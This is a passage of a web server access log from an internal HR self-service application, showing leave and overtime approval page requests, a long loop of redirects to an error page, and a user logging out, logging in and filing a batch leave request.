[04/Dec/2025:09:13:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132721%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132721&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [04/Dec/2025:09:13:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:13:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [04/Dec/2025:09:13:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:13:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [04/Dec/2025:09:13:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:13:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [04/Dec/2025:09:13:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:13:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [04/Dec/2025:09:13:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:13:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [04/Dec/2025:09:13:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:13:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [04/Dec/2025:09:13:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:13:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [04/Dec/2025:09:13:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:13:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [04/Dec/2025:09:13:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:13:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [04/Dec/2025:09:13:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:13:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [04/Dec/2025:09:13:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:13:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [04/Dec/2025:09:13:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:13:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [04/Dec/2025:09:13:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:13:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [04/Dec/2025:09:13:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:13:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [04/Dec/2025:09:13:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:13:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [04/Dec/2025:09:13:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:13:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [04/Dec/2025:09:13:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:13:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [04/Dec/2025:09:13:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:13:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [04/Dec/2025:09:13:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:13:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [04/Dec/2025:09:13:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:13:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 192.168.11.108 - - [04/Dec/2025:09:13:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:13:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [04/Dec/2025:09:13:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 6702 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:13:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 6702 192.168.11.70 - - [04/Dec/2025:09:15:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:15:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.70 - - [04/Dec/2025:09:15:55 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:15:55 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.70 - - [04/Dec/2025:09:16:00 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:16:00 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.70 - - [04/Dec/2025:09:16:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:16:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.70 - - [04/Dec/2025:09:16:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:16:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [04/Dec/2025:09:16:17 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6103631673081884 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:16:17 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6103631673081884 HTTP/1.1" 200 13560 192.168.11.70 - - [04/Dec/2025:09:16:22 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6103631673081884 HTTP/1.1" 200 15741 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6103631673081884" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:16:22 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6103631673081884 HTTP/1.1" 200 15741 192.168.11.70 - - [04/Dec/2025:09:16:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4205 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:16:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4205 192.168.11.70 - - [04/Dec/2025:09:16:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:16:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [04/Dec/2025:09:16:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) 